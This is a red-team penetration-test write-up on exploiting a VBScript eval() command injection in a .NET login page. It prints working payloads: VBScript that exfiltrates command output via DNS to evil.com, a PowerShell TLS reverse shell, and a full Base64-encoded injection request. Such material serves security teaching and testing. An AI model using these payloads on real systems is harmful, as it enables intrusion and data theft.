Analysis of a Command Injection in VBScript

Back to Posts

Analysis of a Command Injection in VBScript

Reading Time: 7 minutes

In this writeup we present the analysis and exploitation of a VBScript command injection vulnerability we stumbled upon during a penetration test on a .NET web application. What makes this vulnerability stand out is the fact that at first glance it could be mistaken for a common SQL injection. After a few exploitation attempts, we developed a VBScript Proof of Concept that allowed us to execute OS commands in a sneaky way, eventually upgrading it to a reverse shell on the target.

Weird looking SQL injection

We were assigned a penetration test on a web application with no credentials or source code available. During the initial phase of the engagement, we found an endpoint that seemed to process the boolean statements injected inside the POST parameter M. Specifically, the text inside the <h4> HTML element of the application response seemed to change depending on the boolean value of the evaluated expression assigned to M; if the boolean expression in the request is true, the response body contains <h4>-1</h4> (Figure 1), otherwise it contains <h4>0</h4> (Figure 2).

Figure 1: HTTP request/response, the boolean expression 3511=3511 is evaluated as True (-1)

 

Figure 2: HTTP request/response, the boolean expression 4535=4543 is evaluated as False (0)

Broadly speaking, when the application response is based on the user input provided in an HTTP request, and the input has not been correctly validated, this result often indicates the presence of an injection vulnerability.

Based on this first analysis, we tried to fuzz the application with some basic SQL injection payloads, such as ' or 1=1-- -. Unfortunately, the login bypass trick didn’t work, and the application response showed us an error message. In particular, we discovered that whenever we injected a single quote character (') inside the vulnerable parameter M, the application response contained a VBScript syntax error, as shown in Figure 3.

Figure 3: HTTP request/response, VBScript syntax error triggered by single quote character

Stacking instructions in an eval’ed context

Since the application seemed to be using VBScript we did some research, looking for simple instructions that could be used to verify this finding.
We then considered chr(49), which has been evaluated by the backend as the '1' character during our tests. To check whether VBScript execution was actually possible, we injected chr(49)='1' inside the request, expecting the payload to be evaluated as true. The response is shown in Figure 4, and it contained <h4>-1</h4>, which indeed confirmed our hypothesis.

Figure 4: HTTP request/response, VBScript instruction successfully executed

Knowing that the backend was processing VBScript instructions, we guessed that the value provided for the parameter M would be parsed into a string and passed as input to an eval()-like function (docs). Since VBScript uses line feed (represented by the special keyword vblf) as instructions separator, we tried to inject a sequence of instructions. Among the instructions in this payload, we placed the MapPath() (docs) directive targeting a page known to be in the application. As shown in Figure 5, the sequence of instructions was correctly executed, and the file path was returned:

Figure 5: HTTP request/response, multiple instructions successfully executed using VBScript separator

Exploiting the bug to obtain RCE

Considering these results, we then tried to concatenate VBScript instructions to achieve Remote Code Execution (RCE) and exfiltrate the output through a DNS query.
First, we instantiated a command prompt using the function CreateObject("Wscript.Shell"). Then, the command output acquired from exe.StdOut.ReadAll was cleansed by potential bad characters (all the characters that might truncate/break a DNS query) using Replace(). Finally the output was exfiltrated by executing a DNS query to a subdomain (<command-output>.evil.com) controlled by us, where <command-output> contains the output of the command.
The following VBScript allows to execute the whoami command and send the output using a DNS query.

Sub Main()

set wso = CreateObject("Wscript.Shell")
set exe = wso.Exec("cmd /c whoami")
sout = Replace(exe.StdOut.ReadAll, vbCrLf, "")
sout = Replace(sout, "\", "-")
sout = Replace(sout, " ", "")
Set o = CreateObject("MSXML2.XMLHTTP")
url = "https://" & sout & ".evil.com"
o.open "GET", url, False
o.send

End Sub

Main()

Using this technique, we crafted a payload in which:

  • all the instructions were concatenated using vblf
  • characters to be eval’ed as double quotes were encoded using chr(34)
  • characters to be eval’ed as ampersand were encoded using chr(38)

Notice also that the payload was fed into an execute() (docs) function, since the eval() function takes an expression and returns its value, while the execute() takes a group of statements and executes them.

This way, we could make the backend execute multiple instructions, as shown in the snippet below (note: the code has been formatted to ease readability).

eval(
    "execute(
        chr(34)<INSTR-1>chr(34) & vblf & 
        chr(34)<INSTR-2>chr(34) & vblf & 
        ... 
        chr(34)<INSTR-N>chr(34)
    )"
)

The following script contains the payload used for exfiltrating the output of the whoami command, and it has been fed into the vulnerable parameter as shown in Figure 6, where it can be seen that target issued a DNS query  to resolve a subdomain of our server, beginning with the username NT-AUTHORITY\System.

Sub Main()

execute("set wso = CreateObject(" & Chr(34) & "Wscript.Shell" & Chr(34) & ")" & vblf & "set exe = wso.Exec(" & Chr(34) & "cmd /c whoami" & Chr(34) & ")" & vblf & "sout = Replace(exe.StdOut.ReadAll, vbCrLf, " & Chr(34) & "-" & Chr(34) & ")" & vblf & "sout = Replace(sout, " & Chr(34) & "\" & Chr(34) & ", " & Chr(34) & "-" & Chr(34) & ")" & vblf & "sout = Replace(sout, " & Chr(34) & " " & Chr(34) & ", " & Chr(34) & "-" & Chr(34) & ")" & vblf & "Set o = CreateObject(" & Chr(34) & "MSXML2.XMLHTTP" & Chr(34) & ")" & vblf & "url = " & Chr(34) & "https://" & Chr(34) & Chr(38) & "sout" & Chr(38) & Chr(34) & ".evil.com" & Chr(34) & vblf & "o.open " & Chr(34) & "GET" & Chr(34) & ", url, False" & vblf & "o.send")

End Sub

Main()
Figure 6: HTTP request and remote code execution with output exfiltration using DNS query

Interactive commands execution

In the previous section we showed how the vulnerability could be exploited to execute arbitrary commands on the target and intercept the output using a public server. However this proof of concept is limited (e.g. long command output would be truncated, some characters would break the DNS query, awkwardly-formatted output, …) and there is no way to execute commands through an interactive session. In this section we will go through the main steps that allowed us to upgrade the previous payload into a new one that we used to execute an interactive reverse shell.

On our first attempt, we simply tried to execute a base64 encoded PowerShell payload for a reverse shell.

powershell.exe -NoP -NonI -W Hidden -Exec Bypass -E <base64-encoded-reverse-shell>

A socat (docs) server was listening for connections from our machine. Once the payload was injected, our server received a connection from the target, but no shell was spawned. Probably, a firewall prevented us from executing a reverse shell.

To overcome this issue, we then tried to execute a reverse shell on a connection established with OpenSSL, using a self-signed certificate. This way the malicious traffic produced by the reverse shell would be indistinguishable from the legit one, because of the end-to-end encryption.

The payload for the encrypted reverse shell looked like this:

$socket=New-ObjectNet.Sockets.TcpClient("<RHOST>",<RPORT>);
$stream=$socket.GetStream();
$sslStream=New-ObjectSystem.Net.Security.SslStream($stream,$false,({$True}-as[Net.Security.RemoteCertificateValidationCallback]));
$sslStream.AuthenticateAsClient("fake.domain",$null,"Tls12",$false);
$writer=new-objectSystem.IO.StreamWriter($sslStream);
$writer.Write("#"+(pwd).Path+">");
$writer.flush();
[byte[]]$bytes=0..65535|%{0};
while(($i=$sslStream.Read($bytes,0,$bytes.Length))-ne0){$data=(New-Object-TypeNameSystem.Text.ASCIIEncoding).GetString($bytes,0,$i);
$sendback=(iex$data|Out-String)2>&1;
$sendback2=$sendback+"#"+(pwd).Path+">";
$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);
$sslStream.Write($sendbyte,0,$sendbyte.Length);$sslStream.Flush()}

The PowerShell reverse shell was Base64 UFT-16 Little-Endian encoded with the following command:

[Convert]::ToBase64String([System.Text.Encoding]::unicode.GetBytes('<reverse-shell>')

The final payload looked like this

M=13343+%26+vblf+%26+execute("set+wso+%3d+CreateObject("+%26+Chr(34)+%26+"Wscript.Shell"+%26+Chr(34)+%26+")"+%26+vblf+%26+"set+exe+%3d+wso.Exec("+%26+Chr(34)+%26+"powershell.exe+-NoP+-NonI+-W+Hidden+-Exec+Bypass+-E+JABzAG8AYwBrAGUAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBTAG8AYwBrAGUAdABzAC4AVABjAHAAQwBsAGkAZQBuAHQAKAAiADEALgAzAC4AMwAuADcAIgAsACAAMQAzADMANwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAHMAbwBjAGsAZQB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAJABTAGUAYwByAGUAdAA9AGgAdAB0AHAAcwA6AC8ALwB5AG8AdQB0AHUALgBiAGUALwBkAFEAdwA0AHcAOQBXAGcAWABjAFEAOwAkAHMAcwBsAFMAdAByAGUAYQBtACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AC4AUwBzAGwAUwB0AHIAZQBhAG0AKAAkAHMAdAByAGUAYQBtACwAJABmAGEAbABzAGUALAAoAHsAJABUAHIAdQBlAH0AIAAtAGEAcwAgAFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkALgBSAGUAbQBvAHQAZQBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAVgBhAGwAaQBkAGEAdABpAG8AbgBDAGEAbABsAGIAYQBjAGsAXQApACkAOwAkAHMAcwBsAFMAdAByAGUAYQBtAC4AQQB1AHQAaABlAG4AdABpAGMAYQB0AGUAQQBzAEMAbABpAGUAbgB0ACgAIgBmAGEAawBlAC4AZABvAG0AYQBpAG4AIgAsACAAJABuAHUAbABsACwAIAAiAFQAbABzADEAMgAiACwAIAAkAGYAYQBsAHMAZQApADsAJAB3AHIAaQB0AGUAcgAgAD0AIABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBXAHIAaQB0AGUAcgAoACQAcwBzAGwAUwB0AHIAZQBhAG0AKQA7ACQAdwByAGkAdABlAHIALgBXAHIAaQB0AGUAKAAiACMAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAKQA7ACQAdwByAGkAdABlAHIALgBmAGwAdQBzAGgAKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAcwBsAFMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQAgADIAPgAmADEAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAIwAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHMAbABTAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwBzAGwAUwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0A%3d%3d"+%26+Chr(34)+%26+")")&USRLOGIN=&URLRED=[...]

Immediately after we sent the POST request containing the payload, our socat listener was reached by a connection from the target (Figure 7), this time successfully spawning a reverse shell! ⚡🔥🖥️🔥⚡

Figure 7: connection to the reverse shell successfully established

A portion of the vulnerable source code is shown below.
Due to unsafe design choices, the user input is fed into an eval() function call (as we suspected during the initial phases of the analysis).

strUSRLOGINLogIn = ValidateInput(Request.form("USRLOGIN"))
strURLRED = Request.form("URLRED")
strMess = ValidateInput(Request.form("M"))
[ ... ]
strLoginMessage = eval("strErrLogin" & strMess)
strLoginMessage = replace(strLoginMessage, "$1", strMSGPARAM1)
strLoginMessage = replace(strLoginMessage, "$2", strMSGPARAM2)

Concluding remarks

To summarize, sometimes the journey to the exploitation of a vulnerability is not straightforward, especially when engaged in black box testing, in which no information about the target is given. In these scenarios it is necessary to make assumptions on something that is concealed, and this task can often be difficult or misleading. For this reason the key to success is to thoroughly enumerate and understand how the applications actually work behind the scenes, which might require diving deeper into the inner workings of the technologies involved.

 

Authors

Jacopo Talamini is a member of Yarix’s Red Team. He is a former PhD student and a hacker wannabe who enjoys banging his head against the wall in an attempt to understand assembly code.

Andrea Varischio, of Yarix’s Red Team, graduated from UNIPD with a degree in telecommunications engineering. During his studies, he became passionate about computer security, with a focus on that of Android devices, which was also his master’s thesis topic. Drummer in his spare time, he loves music, math, martial arts and board games.

 

Share this post

Back to Posts